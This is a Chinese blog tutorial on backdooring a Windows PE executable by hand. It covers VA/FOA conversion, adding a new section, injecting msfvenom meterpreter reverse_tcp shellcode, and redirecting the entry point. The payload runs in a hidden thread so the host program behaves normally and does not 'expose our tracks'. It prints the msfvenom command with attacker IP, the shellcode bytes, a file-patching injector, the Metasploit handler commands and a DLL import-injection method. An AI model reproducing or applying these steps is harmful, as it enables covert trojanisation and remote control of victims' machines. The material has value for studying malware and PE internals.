1.14 手工插入ShellCode反弹

news2025/1/9 16:39:41

PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次的目标是手工修改或增加节区,并给特定可执行程序插入一段ShellCode代码,实现程序运行自动反弹一个Shell会话。

1.14.1 VA地址与FOA地址互转

首先我们先来演示一下内存VA地址与FOA地址互相转换的方式,通过使用WinHEX打开一个二进制文件,打开后我们只需要关注如下蓝色注释为映像建议装入基址,黄色注释为映像装入后的RVA偏移。

通过上方的截图结合PE文件结构图我们可得知0000158B为映像装入内存后的RVA偏移,紧随其后的00400000则是映像的建议装入基址,为什么是建议而不是绝对?别急后面慢来来解释。

通过上方的已知条件我们就可以计算出程序实际装入内存后的入口地址了,公式如下:

  • VA(实际装入地址) = ImageBase(基址) + RVA(偏移) => 00400000 + 0000158B = 0040158B

找到了程序的OEP以后,接着我们来判断一下这个0040158B属于那个节区,以.text节区为例,下图我们通过观察区段可知,第一处橙色位置00000B44 (节区尺寸),第二处紫色位置00001000 (节区RVA),第三处00000C00 (文件对齐尺寸),第四处00000400 (文件中的偏移),第五处60000020 (节区属性)

得到了上方text节的相关数据,我们就可以判断程序的OEP到底落在了那个节区中,这里以.text节为例子,计算公式如下:

  • 虚拟地址开始位置:节区基地址 + 节区RVA => 00400000 + 00001000 = 00401000
  • 虚拟地址结束位置:text节地址 + 节区尺寸 => 00401000 + 00000B44 = 00401B44

经过计算得知 .text 节所在区间(401000 - 401B44) 你的装入VA地址0040158B只要在区间里面就证明在本节区中,此处的VA地址是在401000 - 401B44区间内的,则说明它属于.text节。

经过上面的公式计算我们知道了程序的OEP位置是落在了.text节,此时你兴致勃勃的打开x64DBG想去验证一下公式是否计算正确不料,尼玛!这地址根本不是400000开头啊,这是什么鬼?

上图中出现的这种情况就是关于随机基址的问题,在新版的VS编译器上存在一个选项是否要启用随机基址(默认启用),至于这个随机基址的作用,猜测可能是为了防止缓冲区溢出之类的烂七八糟的东西。

为了方便我们调试,我们需要手动干掉它,其对应到PE文件中的结构为 IMAGE_NT_HEADERS -> IMAGE_OPTIONAL_HEADER -> DllCharacteristics 相对于PE头的偏移为90字节,只需要修改这个标志即可,修改方式 x64:6081 改 2081 相对于 x86:4081 改 0081 以X86程序为例,修改后如下图所示。

经过上面对标志位的修改,程序再次载入就能够停在0040158B的位置,也就是程序的OEP,接下来我们将通过公式计算出该OEP对应到文件中的位置。

  • .text(节首地址) = ImageBase + 节区RVA => 00400000 + 00001000 = 00401000
  • VA(虚拟地址) = ImageBase + RVA(偏移) => 00400000 + 0000158B = 0040158B
  • RVA(相对偏移) = VA - (.text节首地址) => 0040158B - 00401000 = 58B
  • FOA(文件偏移) = RVA + .text节对应到文件中的偏移 => 58B + 400 = 98B

经过公式的计算,我们找到了虚拟地址0040158B对应到文件中的位置是98B,通过WinHEX定位过去,即可看到OEP处的机器码指令了。

接着我们来计算一下.text节区的结束地址,通过文件的偏移加上文件对齐尺寸即可得到.text节的结束地址400+C00= 1000,那么我们主要就在文件偏移为(98B - 1000)在该区间中找空白的地方,此处我找到了在文件偏移为1000之前的位置有一段空白区域,如下图:

接着我么通过公式计算一下文件偏移为0xF43的位置,其对应到VA虚拟地址是多少,公式如下:

  • .text(节首地址) = ImageBase + 节区RVA => 00400000 + 00001000 = 00401000
  • VPK(实际大小) = (text节首地址 - ImageBase) - 实际偏移 => 401000-400000-400 = C00
  • VA(虚拟地址) = FOA(.text节) + ImageBase + VPK => F43+400000+C00 = 401B43

计算后直接X64DBG跳转过去,我们从00401B44的位置向下全部填充为90(nop),然后直接保存文件。

再次使用WinHEX查看文件偏移为0xF43的位置,会发现已经全部替换成了90指令,说明计算正确。

到此文件偏移与虚拟偏移的转换就结束了,其实在我们使用X64DBG修改可执行文件指令的时候,X64DBG默认为我们做了上面的这些转换工作,其实这也能够解释为什么不脱壳的软件无法直接修改,因为X64DBG根本无法计算出文件偏移与虚拟偏移之间的对应关系,所以就无法保存文件了。

1.14.2 新建节区并插入

经过了上面的学习相信你已经能够独立完成FOAVA之间的互转了,接下来我们将实现在程序中插入新节区,并向新节区内插入一段能够反向连接的ShellCode代码,并保证插入的程序依旧能够正常运行不被干扰,为了能够更好的复习PE相关知识,此处的偏移全部手动计算不借助任何工具,请确保你已经掌握了FOA与VA之间的转换关系然后再继续学习。

首先我们的目标是新建一个新节区,我们需要根据.text节的内容进行仿写,先来看区段的书写规则:

如上图所示,一般情况下区段的总长度不可大于40个字节,其中2E标志PE区段的开始位置,后面紧随其后的7个字节的区域为区段的名称,由于只有7个字节的存储空间故最多只能使用6个字符来命名,而第一处蓝色部分则为该节在内存中展开的虚拟大小,第二处蓝色部分为在文件中的实际大小,第一处绿色部分为该节在内存中的虚拟偏移,第二处绿色部分为文件偏移,而最后的黄色部分就是该节的节区属性。

既然知道了节区中每个成员之间的关系,那么我们就可以开始仿写了,仿写需要在程序中最后一个节的后面继续写,而该程序中的最后一个节是.reloc节,在reloc节的后面会有一大片空白区域,如下图:

如下图:我们仿写一个.hack节区,该节区虚拟大小为1000字节(蓝色一),对应的实际大小也是1000字节(蓝色二),节区属性为200000E0可读可写可执行,绿色部分是需要我们计算才能得到的,继续向下看。

接着我们通过公式计算一下.hack的虚拟偏移与实际偏移应该设置为多少,公式如下:

  • .hack 虚拟偏移:虚拟偏移(.reloc) + 虚拟大小(.hack) => 00006000 + 00001000 = 00007000
  • .hack 实际偏移:实际偏移(.reloc) + 实际大小(.reloc) => 00003800 + 00000200 = 00003A00

经过公式推导我们可得知 .hack节,虚拟偏移应设置为00007000 实际偏移设置为00003A00节区长度为1000字节,将其填充到绿色位置即可,如下图:

最后在文件末尾,插入1000个0字节填充,以作为我们填充ShellCode的具体位置,1000个0字节的话WinHEX需要填充4096

到此其实还没结束,我们还落下了一个关键的地方,那就是在PE文件的开头,有一个控制节区数目的变量,此处因为我们增加了一个所以需要将其从5个改为6个,由于我们新增了0x1000的节区空间,那么相应的镜像大小也要加0x1000 如图黄色部分原始大小为00007000此处改为00008000即可。

打开X64DBG载入修改好的程序,会发现我们的.hack节成功被系统识别了,到此节的插入已经实现了。

接下来的工作就是向我们插入的节中植入一段可以实现反弹Shell会话的代码片段,你可以自己编写也可使用工具,此处为了简单起见我就使用黑客利器Metasploit生成反向ShellCode代码,执行命令:

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c

关于命令介绍:-a指定平台架构,–platform指定攻击系统,-p指定一个反向连接shell会话,-b的话是去除坏字节,并指定攻击主机的IP与端口信息,执行命令后会生成一段有效攻击载荷。

为了保证生成的ShellCode可用性,你可以通过将生成的ShellCode加入到测试程序中测试调用效果,此处我就不测试了,直接贴出测试代码吧,你只需要将buf[]数组填充为上方的Shell代码即可。

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "";

typedef void(__stdcall *CODE) ();
int main()
{
    //((void(*)(void))&buf)();
    PVOID pFunction = NULL;
    pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pFunction, buf, sizeof(buf));
    CODE StartShell = (CODE)pFunction;
    StartShell();
}

此时我们需要将上方生成的ShellCode注入到我们新加入的区段中,区段实际偏移是0x3A00,此处的二进制代码较多不可能手动一个个填写,机智的我写了一个小程序,即可完成自动填充,附上代码吧。

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] =
"\xdb\xda\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x56\xba\xd5\xe5\x72"
"\xb7\x31\x55\x18\x83\xed\xfc\x03\x55\xc1\x07\x87\x4b\x01\x45"
"\x68\xb4\xd1\x2a\xe0\x51\xe0\x6a\x96\x12\x52\x5b\xdc\x77\x5e"
"\x10\xb0\x63\xd5\x54\x1d\x83\x5e\xd2\x7b\xaa\x5f\x4f\xbf\xad"
"\xe3\x92\xec\x0d\xda\x5c\xe1\x4c\x1b\x80\x08\x1c\xf4\xce\xbf"
"\xb1\x71\x9a\x03\x39\xc9\x0a\x04\xde\x99\x2d\x25\x71\x92\x77"
"\xe5\x73\x77\x0c\xac\x6b\x94\x29\x66\x07\x6e\xc5\x79\xc1\xbf"
"\x26\xd5\x2c\x70\xd5\x27\x68\xb6\x06\x52\x80\xc5\xbb\x65\x57"
"\xb4\x67\xe3\x4c\x1e\xe3\x53\xa9\x9f\x20\x05\x3a\x93\x8d\x41"
"\x64\xb7\x10\x85\x1e\xc3\x99\x28\xf1\x42\xd9\x0e\xd5\x0f\xb9"
"\x2f\x4c\xf5\x6c\x4f\x8e\x56\xd0\xf5\xc4\x7a\x05\x84\x86\x12"
"\xea\xa5\x38\xe2\x64\xbd\x4b\xd0\x2b\x15\xc4\x58\xa3\xb3\x13"
"\x7c\x95\xa3\xb2\x7e\x89\xb4\x96";

int main()
{
    HANDLE hFile = NULL;
    DWORD dwNum = 0;
    LONG FileOffset;
    FileOffset = 0x3A00;             // 文件中的偏移

    hFile = CreateFile(L"C:\\setup.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
    WriteFile(hFile, buf, sizeof(buf), &dwNum, NULL);
    CloseHandle(hFile);
    return 0;
}

通过VS编译器编译代码并运行,窗口一闪而过就已经完成填充了,直接打开WinHEX工具定位到0x3A00发现已经全部填充好了。


填充完代码以后,接着就是执行这段代码了,我们的最终目标是程序正常运行并且成功反弹Shell会话,但问题是这段代码是交互式的如果直接植入到程序中那么程序将会假死,也就暴漏了我们的行踪,这里我们就只能另辟蹊径了,经过我的思考我决定让这段代码成为进程中的一个子线程,这样就不会相互干扰了。

于是乎我打开了微软的网站,查询了一下相关API函数,最终找到了一个CreateThread()函数可以在进程中创建线程,此处贴出微软对该函数的定义以及对函数参数的解释。

HANDLE WINAPI  CreateThread(
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_ SIZE_T dwStackSize,
    _In_ LPTHREAD_START_ROUTINE lpStartAddress,
    _In_opt_ __drv_aliasesMem LPVOID lpParameter,
    _In_ DWORD dwCreationFlags,
    _Out_opt_ LPDWORD lpThreadId
    );

这个API函数的参数解析如下所示;

  • lpThreadAttributes 线程内核对象的安全属性,默认为NULL
  • dwStackSize 线程栈空间大小,传入0表示使用默认大小1MB
  • lpStartAddress 新线程所执行的线程函数地址,指向ShellCode首地址
  • lpParameter 此处是传递给线程函数的参数,我们这里直接填NULL
  • dwCreationFlags 为0表示线程创建之后立即就可以进行调度
  • lpThreadId 返回线程的ID号,传入NULL表示不需要返回该线程ID号

由于我们需要写入机器码,所以必须将CreateThread函数的调用方式转换成汇编格式,我们打开X64DBG找到我们的区段位置,可以看到填充好的ShellCode代码,其开头位置为00407000,如下所示:

接着向下找,找到一处空旷的区域,然后填入CreateThread()创建线程函数的汇编格式,填写时需要注意调用约定和ShellCode的起始地址。

接着我们需要使用一条Jmp指令让其跳转到原始位置执行原始代码,这里的原始OEP位置是0040158B我们直接JMP跳转过去就好,修改完成后直接保存文件。

最后一步修改程序默认执行位置,我们将原始位置的0040158B改为00407178这里通过WinHEX修改的话直接改成7178就好,如下截图:

通过MSF控制台创建一个侦听端口,执行如下命令即可,此处的IP地址与生成的ShellCode地址应该相同。

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.30
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit

至此当读者运用这个被植入了的可执行程序时,则会发现目标已经上线了,而源程序仍然可以被正常执行,至此我们的植入工作也就算完成了;

1.14.3 新建节并插入DLL

首先老样子,我们先来到PE节表位置处,并仿写一个.hack的节,该节大小为0x1000字节,在仿写前我们需要先来计算出.hack的虚拟偏移与实际偏移,先来查询一下当前节表结构,如下:

接着我们通过公式计算一下.hack的虚拟偏移与实际偏移应该设置为多少,注意内存对齐,如加上2000是因为要遵循内存对齐,公式如下:

  • .hack 虚拟偏移:虚拟偏移(.rsrc) + 虚拟大小(.hack) => 0x0001B000 + 0x00001000 + 2000 = 1E000
  • .hack 实际偏移:实际偏移(.rsrc) + 实际大小(.rsrc) => 0x00007800 + 0x00002600 = 9E00

经过公式推导我们可得知要仿写.hack节,虚拟偏移应设置为1E000实际偏移设置为9E00节区长度为0x1000字节,将其填充到绿色位置即可,此外还需要注意节属性必须为E00000E0可读可写属性,如下图:

使用WinHEX在文件末尾添加填充0字节数据,填充长度为4096,我们的文件偏移为0x9E00,并且跳转到0xF0处将红色的06改为07,并将底部的1e000 + 1000修正为1F000 此时我们的.hack节添加完成,其对应的虚拟偏移为0x0001E000实际偏移为0x00009E00长度都是0x1000字节。

接着使用工具找到导入表的位置,如下导入表位置0x00006DE0 长度是0x00000050

我们使用WinHex定位过去,将其拷贝一份,选中右键复制选快->十六进制复制即可

接着定位到0x9E00也就是.hack节的开头位置,将其复制到这里来,这里的留白位置就是我们需要添加进来的IID数组暂时为空。

先来把仿写的位置标注上序号,这里为大家具体解释一下原因,以及为什么这样来写。

首先红色位置代表的字段是: OriginalFirstThunk 其指向中间变量FOA = 9E80而中间变量则需要指向一个Image_Thunk_Data结构,这里我们使用FOA = 9E90来模仿,该结构前两个字节为hInt值默认为0,后面则是一个导入的函数字符串。
绿色位置代表的是需要导入的DLL文件名,此处没有中间值,可以直接指向字符串。
棕色部分代表的是FirstThunk 其同样需要指向Image_Thunk_Data结构 FOA = 9E90

我们来转换一下,具体的地址:

红色OriginalFirstThunk需要指向FOA=9E80也就是RVA=0x0001E080 ,然后9E80里面需要再次指向FOA=9E90也就是指向RVA=0x0001E090,9E90里面存储的是MsgBox 你的导入函数字符串。
绿色 DllName 则直接指向FOA=9EB0 也就是指向RVA=0x0001E0B0 里面是导入DLL名称,此处是 lyshark.dll
棕色 FirstThunk 则需要指向FOA=9ED0 也就是指向 RVA= 0x0001E0D0 而9ED0则需要指向FOA=9E90也就是指向RVA=0x0001E090

由于我们增加了导入表,增加了一个结构,所以要跳转到170处修正大小30+20=50,并将导入表地址修正为FOA = 0x9E00也就是RVA =0x0001E000

最后接触输入表绑定状态,也就是将1B0-1B8处的内容全部清0即可。

当一切准备就绪以后,我们只需要编写一个DLL动态链接库,然后将该程序放入同级目录下,当程序运行后即可实现弹窗,当然读者可根据该原理自行发挥,让其具备有反弹的功能;

#include <Windows.h>
#include <stdio.h>

extern "C"__declspec(dllexport) void MsgBox()
{
    MessageBox(0, "hello lyshark", "inject", MB_OK);
}

DWORD WINAPI ThreadShow(LPVOID lpParameter)
{
    char szPath[MAX_PATH] = { 0 };
    char szBuf[1024] = { 0 };

    GetModuleFileName(0, szPath, MAX_PATH);
    sprintf(szBuf, "路径: %s ---> PID: %d ", szPath, GetCurrentProcessId());
    MessageBox(0, szBuf, 0, 0);

    return 0;
}

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        CreateThread(0, 0, ThreadShow, 0, 0, 0);
    }

    return TRUE;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/970174.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【单片机】有人 WH-LTE-7S1 4G cat1 模块连接服务器,教程,记录。GPRS模块连接服务器教程。socket编程。

文章目录 4G cat1 模块封装引脚名称功能拓扑图串口模块调试WH-LTE-7S1公网服务器建立python程序服务服务器程序WH-LTE-7S1 模块连接服务器与多个模块建立TCP长连接的服务器程序 本文主要介绍了一个4G Cat1模块&#xff0c;该模块具有多种功能和特性。文章接下来展示了4G Cat1模…

手把手教你Typora大纲如何显示序号(支持六级标题栏序号)

1 打开偏好设置 2 新建 base.user.css文件 3 复制代码&#xff08;重启typora生效&#xff09;&#xff1a; /************************************** * Header Counters in TOC **************************************//* No link underlines in TOC */ .md-toc-inner { …

第四章:照相机模型与增强实现

文章目录 第四章&#xff1a;照相机模型与增强实现4.1 针孔照相机模型4.1.1 照相机矩阵4.1.2 三维点的投影4.1.3 照相机矩阵的分解4.1.4 计算照相机中心 4.2 照相机标定4.3 以平面和标记物进行姿态估计4.4 增强现实4.4.1 PyGame 和 PyOpenGL4.4.2 从照相机矩阵到 Open…

PMD 检查java代码:运行过程中只需要赋值一次的局部变量可以用final修饰(LocalVariableCouldBeFinal)

https://docs.pmd-code.org/pmd-doc-6.55.0/pmd_rules_java_codestyle.html#localvariablecouldbefinal 如果一个局部变量在运行过程中只需要赋值一次&#xff0c;那么可以定义为final的。 属性ignoreForEachDecl可以控制是否忽略对for-each声明中的局部变量的检查&#xff0c…

DBService基础原理

一、DBService简介 DBService是一个高可用性的关系型数据库存储系统&#xff0c;适用于存储小量数据&#xff08;10GB左右&#xff09;&#xff0c;比如&#xff1a;组件元数据。DBService仅提供给集群内部的组件使用&#xff0c;提供数据存储、查询、删除等功能。 DBService是…

视频号如何插入带货商品链接进行变现

视频号目前是全腾讯的希望&#xff0c;视频号变现主要有6大模式 参与创作分成计划&#xff0c;也就是视频号底下广告分成&#xff0c;类似公众号文章的流量主&#xff0c;可以给大家看下收益&#xff0c;做的好的&#xff0c;收益还是非常可观的&#xff0c;只要作品有播放量&a…

一文讲清楚字符串搜索问题【朴素法】和【KMP算法】

文章目录 一、引入二、朴素解法2.1 朴素法介绍2.2 图解朴素法2.3 复杂度分析 三、KMP算法3.1 nextArr 数组介绍3.2 图解 KMP 算法3.2.1 原理3.2.2 实现 3.3 nextArr 数组求解3.4 复杂度分析 四、总结写在最后 一、引入 字符串搜索问题是字符串中重要的一类问题&#xff0c;该问…

C#通过ModbusTcp协议读写西门子PLC中的浮点数

一、Modbus TCP通信概述 MODBUS/TCP是简单的、中立厂商的用于管理和控制自动化设备的MODBUS系列通讯协议的派生产品&#xff0c;显而易见&#xff0c;它覆盖了使用TCP/IP协议的“Intranet”和“Internet”环境中MODBUS报文的用途。协议的最通用用途是为诸如PLC&#xff0c;I/…

什么是rem单位和em单位?它们有什么区别?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ rem 和 em 单位⭐ rem 单位&#xff08;Root Em&#xff09;⭐ em 单位⭐ 区别总结⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入…

.net core 上传文件大小限制

微软官网文档中给的解释是.net core 默认上传文件大小限制是30M&#xff0c;所以即便你项目里没有限制&#xff0c;这里也有个默认限制。 官网链接地址 总结了一下解决办法&#xff1a; 1.首先项目里添加一个web.config自定义配置文件 在配置文件中加上这段配置 <!--//…

2024年java面试--多线程(3)

系列文章目录 2024年java面试&#xff08;一&#xff09;–spring篇2024年java面试&#xff08;二&#xff09;–spring篇2024年java面试&#xff08;三&#xff09;–spring篇2024年java面试&#xff08;四&#xff09;–spring篇2024年java面试–集合篇2024年java面试–redi…

Echarts使用

Echarts使用 1.ECharts简介 ECharts是一个使用JavaScript实现的开源可视化库&#xff0c;可以流畅的运行在PC和移动设备上&#xff0c;兼容当前绝大部分浏览器(IE8/9/10/11,Chrome,Firefox,Safari等)&#xff0c;底层依赖矢量图形库ZRender,.提供直观&#xff0c;交互丰富&am…

Spring Cloud--从零开始搭建微服务基础环境【四】

&#x1f600;前言 本篇博文是关于Spring Cloud–从零开始搭建微服务基础环境【四】&#xff0c;希望你能够喜欢 &#x1f3e0;个人主页&#xff1a;晨犀主页 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是晨犀&#xff0c;希望我的文章可以帮助到大家&#xff0c;…

自然语言处理: 第十一章BERT(Bidirectional Encoder Representation from Transformers)

论文地址:[1810.04805] BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding (arxiv.org) 理论基础 之前介绍GPT的搭建的方式的时候&#xff0c;将BERT与GPT进行了对比&#xff0c;我们可以知道BERT和GPT都是基于transformer架构下的分支&…

Android 1.2.1 使用Eclipse + ADT + SDK开发Android APP

1.2.1 使用Eclipse ADT SDK开发Android APP 1.前言 这里我们有两条路可以选&#xff0c;直接使用封装好的用于开发Android的ADT Bundle&#xff0c;或者自己进行配置 因为谷歌已经放弃了ADT的更新&#xff0c;官网上也取消的下载链接&#xff0c;这里提供谷歌放弃更新前最新…

PHP8数组的类型-PHP8知识详解

php 8 引入了对数组的类型提示&#xff0c;以帮助开发者更准确地定义和验证数组的结构。以下是 PHP 8 中支持的数组类型&#xff1a;索引数组、关联数组、混合类型数组。 1、索引数组 (Indexed arrays): PHP索引数组一般表示数组元素在数组中的位置&#xff0c;它由数字组成&a…

centos7关闭防火墙和selinux(内核防火墙)

centos7关闭防火墙和selinux&#xff08;内核机制或叫内核防火墙&#xff09; 小白教程&#xff0c;一看就会&#xff0c;一做就成。 1.关闭防火墙&#xff0c;centos7默认是firewalld #关闭 systemctl stop firewalld.service #关闭开机自启 systemctl disable firewalld.ser…

Opencv 图像金字塔----高斯和拉普拉斯

原文&#xff1a;图像金字塔----高斯和拉普拉斯 图像金字塔是图像中多尺度表达的一种&#xff0c;最初用于机器视觉和图像压缩&#xff0c;最主要用于图像的分割、融合。 高斯金字塔 ( Gaussian pyramid): 高斯金字塔是由底部的最大分辨率图像逐次向下采样得到的一系列图像…

Vue.js 报错:Cannot read property ‘validate‘ of undefined“

错误解决 起因&#xff0c;是我将elemnt-ui登录&#xff0c;默认放在mounted()函数里面&#xff0c;导致vue初始化就调用这个函数。 找了网上&#xff0c;有以下错误原因&#xff1a; 1.一个是你ref写错了&#xff0c;导致获取不了这个表单dom&#xff0c;我这显然不是。 2.…

基于改进莱维飞行和混沌映射的粒子群优化算法(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…